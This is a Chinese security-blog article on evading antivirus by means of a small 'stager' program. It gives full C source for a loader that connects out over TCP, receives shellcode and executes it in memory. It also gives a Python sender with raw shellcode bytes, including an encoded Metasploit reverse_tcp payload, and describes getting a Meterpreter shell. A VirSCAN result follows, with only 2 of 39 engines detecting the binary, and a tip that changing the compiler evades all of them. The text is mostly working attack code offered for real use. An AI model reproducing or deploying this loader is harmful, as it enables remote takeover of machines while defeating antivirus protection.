标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-667]   作者: ecawen 发表于: [2017-09-20]

本文共 [527] 位读者顶过

0x00 前言

Shellcode是我们在做渗透或者进行漏洞利用时常用的一段代码,它能够以很小的字节数完成我们想要的结果,然而现在杀毒软件的识别能力也在加强,所以迫使我们要对Shellcode进行加密混淆等等操作达到免杀的目的,怎么能够减少Shellcode被杀的概率呢?下面我来介绍一种比较另类的利用方式。

0x01 科普

搞Web安全的都知道,我们在渗透一个网站的时候,往往需要用到大马和小马。比如一个上传漏洞,如果漏洞上传点限制了文件大小,而我们又无法进行绕过时,那么就需要用到小马,利用小马进行无限制大小的上传我们的大马,从而进一步的控制服务器和利用大马进行提权。

道理一样,我们利用Shellcode进行渗透时,如果服务器安装有杀毒软件,我们没有经过免杀操作的Shellcode就不能在服务器上运行,进而我们需要对Shellcode进行繁琐的免杀操作,所以,受到web端启发,我们可不可以在无法过杀毒软件的情况下上传一个无害的小马呢?答案是可以的。

0x02 小马监听端

测试环境:

1.本机win7 : 127.0.0.1(本机作为攻击机和被攻击机)

2.虚拟机kali : 192.168.19.128(shell监听)

首先我们利用recver_hander模块生成反弹监听小马

[出自:jiwo.org]

我们打开temp.cpp查看小马源码

//Project : <https://github.com/hu>cmosin/purelove

//This file created with purelove ..

//Compile : gcc temp.c -o test.exe

    #include <stdio.h>                      

    #include <winsock2.h>                  

    #include <Windows.h>              

    #pragma comment (lib, "ws2_32")        

    typedef struct sockaddr_in sockaddr_in;

    int sock_shellcode(char *shellcodes)

    {

            char *shellcode =shellcodes;

            DWORD why_must_this_variable;

            BOOL ret = VirtualProtect (shellcode, strlen(shellcode),

            PAGE_EXECUTE_READWRITE, &why_must_this_variable);

            if (!ret) {

                    return 0;

            }

            ((void (*)(void))shellcode)();

            return 0;

    }    

    int main()

    {

        Sleep(2000);                   

        WSADATA wsaData;

        WSAStartup(MAKEWORD(2, 2), &wsaData);

        SOCKET s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

        sockaddr_in sockaddr;

        sockaddr.sin_family=AF_INET;

        sockaddr.sin_port=htons(4444);

        sockaddr.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");

        connect(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR));

            printf("***SERVER***"); 

            while(TRUE)

            {

                    while(TRUE)

                    {

                            char buffer[4096];

                            recv(s, buffer, 4096, NULL);

                            if (buffer == NULL)

                            {

                            continue;

                            }

                            else 

                            {

                            sock_shellcode(buffer);

                            }

                    }

            }

        printf("thins end up");

        closesocket(s);

        WSACleanup();

        getchar();

        exit(0);

    }

    

这个小马,利用了反向连接监听方法,首先我们创建SOCKET套接字,设置远程连接端口和IP地址,这里就用本机进行演示,连接远程IP:127.0.0.1,远程端口4444

SOCKET s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

 sockaddr_in sockaddr;

 sockaddr.sin_family=AF_INET;

 sockaddr.sin_port=htons(4444);

 sockaddr.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");

 connect(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR));

我们写一个死循环来监听远程发送过来的Shellocde,这里的数据内存要写4096,否则小马会因为接收的数据太大而退出,如果你的Shellcode很大,建议对数据进行打包发送和接收,当然还有异常处理什么的这里就不写了。

while(TRUE)

{

    while(TRUE)

    {

      char buffer[4096];

      recv(s, buffer, 4096, NULL);

      if (buffer == NULL)

      {

         continue;

       }

      else 

       {

         sock_shellcode(buffer); //shellcode接收执行

       }

     }

 }

下面来到shellcode执行部分,我们设置一个shellcode执行函数sock_shellcode(),我们用一个函数来进行内存保护VirtualProtect(),最后执行shellcode,((void (*)(void))shellcode)();

int sock_shellcode(char *shellcodes)

    {

            char *shellcode =shellcodes;

            DWORD test;

            BOOL ret = VirtualProtect (shellcode, strlen(shellcode),

            PAGE_EXECUTE_READWRITE, &test);

            if (!ret) {

                    return 0;

            }

            ((void (*)(void))shellcode)();

            return 0;}

0x03 Shellcode发送端

小马写好了,那么我们来写shellcode发送监听端,shellcode发送监听端我们采用python来写(什么语言无所谓)。

\#-*- coding: utf-8 -*-

import os,sys

from socket import *

HOST   = '0.0.0.0'

PORT   = 4444

BUFSIZ = 2048

ADDR   = (HOST, PORT)

sock   = socket(AF_INET, SOCK_STREAM)

sock.bind(ADDR)

sock.listen(1)

STOP_CHAT = False

print "Hander Listening %s port:%s" %(HOST,PORT)

while not STOP_CHAT:

    tcpClientSock, addr=sock.accept()

    print('Start Listening %s  port %s.....') %(addr,PORT)

    while True:

        p = raw_input("send:> ")

        if p =="send":

           data = "" #shellcode存放

        try:

            tcpClientSock.send(data)

            if data.upper()=="QUIT":

                STOP_CHAT = True

                break

            os_result = tcpClientSock.recv(BUFSIZ)

        except:

            tcpClientSock.close()

            break

        if STOP_CHAT:

            break

        print(os_result)

tcpClientSock.close()

sock.close()

我们一样,用一个socket套接字来监听4444端口,data变量用来存放shellcode,当然这里的shellcode过大,也需要对shellcode进行打包发送。

到了这一步,我们的小马和服务监听端就写好了。

0x04 Shellcode利用

我们现在来测试一下,我们先使用messagebox模块生成shellcode,弹出的messagebox信息为”test”。


我们把shellcode复制到shellcode发送端里的data变量中,如下

\#-*- coding: utf-8 -*-

import os,sys

from socket import *

HOST   = '0.0.0.0'

PORT   = 4444

BUFSIZ = 2048

ADDR   = (HOST, PORT)

sock   = socket(AF_INET, SOCK_STREAM)

sock.bind(ADDR)

sock.listen(1)

STOP_CHAT = False

print "Hander Listening %s port:%s" %(HOST,PORT)

while not STOP_CHAT:

    tcpClientSock, addr=sock.accept()

    print('Start Listening %s  port %s.....') %(addr,PORT)

    while True:

        p = raw_input("send:> ")

        if p =="send":

            data= "\x33\xc9\x64\x8b\x49\x30\x8b\x49\x0c\x8b\x49\x1c\x8b\x59\x08\x8b\x41\x20\x8b\x09\x80\x78\x0c\x33\x75\xf2\x8b\xeb\x03\x6d\x3c\x8b\x6d\x78\x03\xeb\x8b\x45\x20\x03\xc3\x33\xd2\x8b\x34\x90\x03\xf3\x42\x81\x3e\x47\x65\x74\x50\x75\xf2\x81\x7e\x04\x72\x6f\x63\x41\x75\xe9\x8b\x75\x24\x03\xf3\x66\x8b\x14\x56\x8b\x75\x1c\x03\xf3\x8b\x74\x96\xfc\x03\xf3\x33\xff\x57\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd6\x33\xc9\x57\x66\xb9\x33\x32\x51\x68\x75\x73\x65\x72\x54\xff\xd0\x57\x68\x6f\x78\x41\x01\xfe\x4c\x24\x03\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x54\x50\xff\xd6\x57\x68\x54\x53\x45\x54\x8b\xcc\x57\x57\x51\x57\xff\xd0\x57\x68\x65\x73\x73\x01\xfe\x4c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x53\xff\xd6\x57\xff\xd0"

        try:

            tcpClientSock.send(data)

            if data.upper()=="QUIT":

                STOP_CHAT = True

                break

            os_result = tcpClientSock.recv(BUFSIZ)

        except:

            tcpClientSock.close()

            break

        if STOP_CHAT:

            break

        print(os_result)

tcpClientSock.close()

sock.close()

现在我们执行小马程序,对shellcode发送端进行连接,在连接成功后我们send发送shellcode

可以看到成功了!说明我们的小马程序没有任何的问题。在日常中,我们习惯使用metaspliot来进行攻击,那么我们就用metaspliot的payload来进行利用。

下面我们选择reverse_tcp模块生成shellcode编码。


同理,我们把shellcode放到shellcode发送端里的data变量中,如下

\#-*- coding: utf-8 -*-

import os,sys

from socket import *

HOST   = '0.0.0.0'

PORT   = 4444

BUFSIZ = 2048

ADDR   = (HOST, PORT)

sock   = socket(AF_INET, SOCK_STREAM)

sock.bind(ADDR)

sock.listen(1)

STOP_CHAT = False

print "Hander Listening %s port:%s" %(HOST,PORT)

while not STOP_CHAT:

    tcpClientSock, addr=sock.accept()

    print('Start Listening %s  port %s.....') %(addr,PORT)

    while True:

        p = raw_input("send:> ")

        if p =="send":

            data= "\xeb\x18\x5e\x8d\x3e\x31\xc0\x31\xdb\x8a\x1c\x06\x80\xfb\x03\x74\x0e\x80\xf3\x05\x88\x1f\x47\x40\xeb\xef\xe8\xe3\xff\xff\xff\xf9\xed\x83\x05\x05\x05\x65\x8c\xe0\x34\xd7\x61\x8e\x57\x35\x8e\x57\x09\x8e\x57\x11\x8e\x77\x2d\x0a\xb2\x4f\x23\x34\xfa\x34\xc5\xa9\x39\x64\x79\x07\x29\x25\xc4\xca\x08\x04\xc2\xe7\xf5\x57\x52\x8e\x57\x15\x8e\x47\x39\x8e\x49\x15\x7d\xe6\x4f\x04\xd4\x54\x8e\x5c\x25\x04\xd6\x8e\x4c\x1d\xe6\x39\x4c\x8e\x31\x8e\x04\xd3\x34\xfa\x34\xc5\xa9\xc4\xca\x08\x04\xc2\x3d\xe5\x70\xf1\x06\x78\xfd\x3e\x78\x21\x70\xe7\x5d\x8e\x5d\x21\x04\xd6\x63\x8e\x09\x4e\x8e\x5d\x19\x04\xd6\x8e\x01\x8e\x04\xd5\x8c\x41\x21\x21\x5e\x5e\x64\x5c\x5f\x54\xfa\xe5\x5d\x5a\x5f\x8e\x17\xee\x8c\x58\x6d\x36\x37\x05\x05\x6d\x72\x76\x37\x5a\x51\x6d\x49\x72\x23\x02\xfa\xd0\xbd\x95\x04\x05\x05\x2c\xc1\x51\x55\x6d\x2c\x85\x6e\x05\xfa\xd0\x55\x55\x55\x55\x45\x55\x45\x55\x6d\xef\x0a\xda\xe5\xfa\xd0\x92\x6f\x0c\x6d\xc5\xad\x16\x85\x6d\x07\x05\x14\x59\x8c\xe3\x6f\x15\x53\x52\x6d\x9c\xa0\x71\x64\xfa\xd0\x80\xc5\x71\x09\xfa\x4b\x0d\x70\xe9\x6d\xf5\xb0\xa7\x53\xfa\xd0\x6f\x05\x6f\x01\x53\x52\x6d\x07\xdc\xcd\x5a\xfa\xd0\x8e\x33\x6f\x45\x6d\x05\x15\x05\x05\x53\x6f\x05\x6d\x5d\xa1\x56\xe0\xfa\xd0\x96\x56\x6f\x05\x53\x56\x52\x6d\x07\xdc\xcd\x5a\xfa\xd0\x04\xc6\x2c\xc3\x80\xf3\x70\xe9\xc6\x03"

        try:

            tcpClientSock.send(data)

            if data.upper()=="QUIT":

                STOP_CHAT = True

                break

            os_result = tcpClientSock.recv(BUFSIZ)

        except:

            tcpClientSock.close()

            break

        if STOP_CHAT:

            break

        print(os_result)

tcpClientSock.close()

sock.close()

对shellcode发送端进行反向连接,连接成功后,我们send发送shellcode到小马端进行执行。

我们用metaspliot的handler进行监听,我们使用的模块是payload/windows/meterpreter/reverse_tcp。



可以看到,在我们send发送shellcode后,成功在kali里获取到了反弹shell。

现在为了验证小马的过杀软能力,把小马上传到virscan进行杀毒引擎病毒扫描

VirSCAN.org Scanned Report :
Scanned time   : 2017-09-17 17:59:56
Scanner results: 5%的杀软(2/39)报告发现病毒
File Name      : test.exe
File Size      : 17988 byte
File Type      : application/x-dosexec
MD5            : 2e6a1aef8517d9e6e5291fc2725dbd09
SHA1           : ba9b1897f74f05791da16615fbf22ee1f052f6e0
Online report  : http://r.virscan.org/report/488a9535a7294fc51f0148f237f47c02

Scanner        Engine Ver      Sig Ver           Sig Date    Time   Scan result
ANTIVIR        1.9.2.0        1.9.159.0         7.14.27.224    20   没有发现病毒            
AVAST!         170303-1       4.7.4             2017-03-03     35   没有发现病毒            
AVG            2109/14460     10.0.1405         2017-09-14     1    没有发现病毒            
ArcaVir        1.0            2011              2014-05-30     8    没有发现病毒            
Authentium     4.6.5          5.3.14            2017-09-16     1    没有发现病毒            
Baidu Antivirus2.0.1.0        4.1.3.52192       2.0.1.0        3    没有发现病毒            
Bitdefender    7.58879        7.90123           2015-01-16     1    没有发现病毒            
ClamAV         23835          0.97.5            2017-09-15     1    PUA.Win.Packer.MingwGcc-3    
Comodo         15023          5.1               2017-09-16     3    没有发现病毒            
Dr.Web         5.0.2.3300     5.0.1.1           2017-09-11     50   没有发现病毒            
F-PROT         4.6.2.117      6.5.1.5418        2016-02-05     1    W32/Felix:CO:VC!Eldorado      
F-Secure       2015-08-01-02  9.13              2015-08-01     7    没有发现病毒            
Fortinet                      5.4.247           2017-09-17     1    没有发现病毒            
GData          25.14209       25.14209          2017-09-16     12   没有发现病毒            
IKARUS         3.02.08        V1.32.31.0        2017-09-16     9    没有发现病毒            
NOD32          6086           3.0.21            2017-09-15     1    没有发现病毒            
QQ手机       1.0.0.0        1.0.0.0           2015-12-30     1    没有发现病毒            
Quickheal      14.00          14.00             2017-09-16     3    没有发现病毒            
SOPHOS         5.32           3.65.2            2016-10-10     11   没有发现病毒            
Sunbelt        3.9.2671.2     3.9.2671.2        2017-09-15     2    没有发现病毒            
TheHacker      6.8.0.5        6.8.0.5           2017-09-11     1    没有发现病毒            
Vba32          3.12.29.5 beta 3.12.29.5 beta    2017-09-15     10   没有发现病毒            
ViRobot        2.73           2.73              2015-01-30     1    没有发现病毒            
VirusBuster    15.0.985.0     5.5.2.13          2014-12-05     17   没有发现病毒            
a-squared      9.0.0.4799     9.0.0.4799        2015-03-08     2    没有发现病毒            
nProtect       9.9.9          9.9.9             2013-12-27     3    没有发现病毒            
卡巴斯基   5.5.33         5.5.33            2014-04-01     31   没有发现病毒            
奇虎360      1.0.1          1.0.1             1.0.1          4    没有发现病毒            
安博士V3    9.9.9          9.9.9             2013-05-28     6    没有发现病毒            
安天         AVL SDK 2.0                      1970-01-01     3    没有发现病毒            
江民杀毒   16.0.100       1.0.0.0           2017-09-16     2    没有发现病毒            
熊猫卫士   9.05.01        9.05.01           2017-09-16     5    没有发现病毒            
瑞星         26.28.00.01    26.28.00.01       2016-07-18     4    没有发现病毒            
百度杀毒   1.0            1.0               2017-03-22     1    没有发现病毒            
费尔         17.47.17308    1.0.2.2108        2017-09-16     6    没有发现病毒            
赛门铁克   20151230.005   1.3.0.24          2015-12-30     1    没有发现病毒            
趋势科技   13.302.06      9.500-1005        2017-03-27     1    没有发现病毒            
迈克菲      8620           5400.1158         2017-08-12     17   没有发现病毒            
金山毒霸   2.1            2.1               2017-09-16     3    没有发现病毒            

只有两个杀毒引擎报毒,在这里有个问题,小马用的是gcc编译器进行编译,如果我换成其他的编译器的时候,拿去检测,没有一款杀毒引擎报毒,直接免杀全球,所以选择一个合适编译器很重要。

0x06 结束

这种以小马的方式执行shellcode在系统中不会产生任何的文件,因为shellcode直接带入内存,所以也减少了被杀的风险,其实在现实中还需要考虑很多问题,比如杀毒软件的内存监控,网络通信监控等等,当我们面对对方杀软无能为力时,这不失为一种有效的方法。

评论

暂无
发表评论
 返回顶部 
热度(527)
 关注微信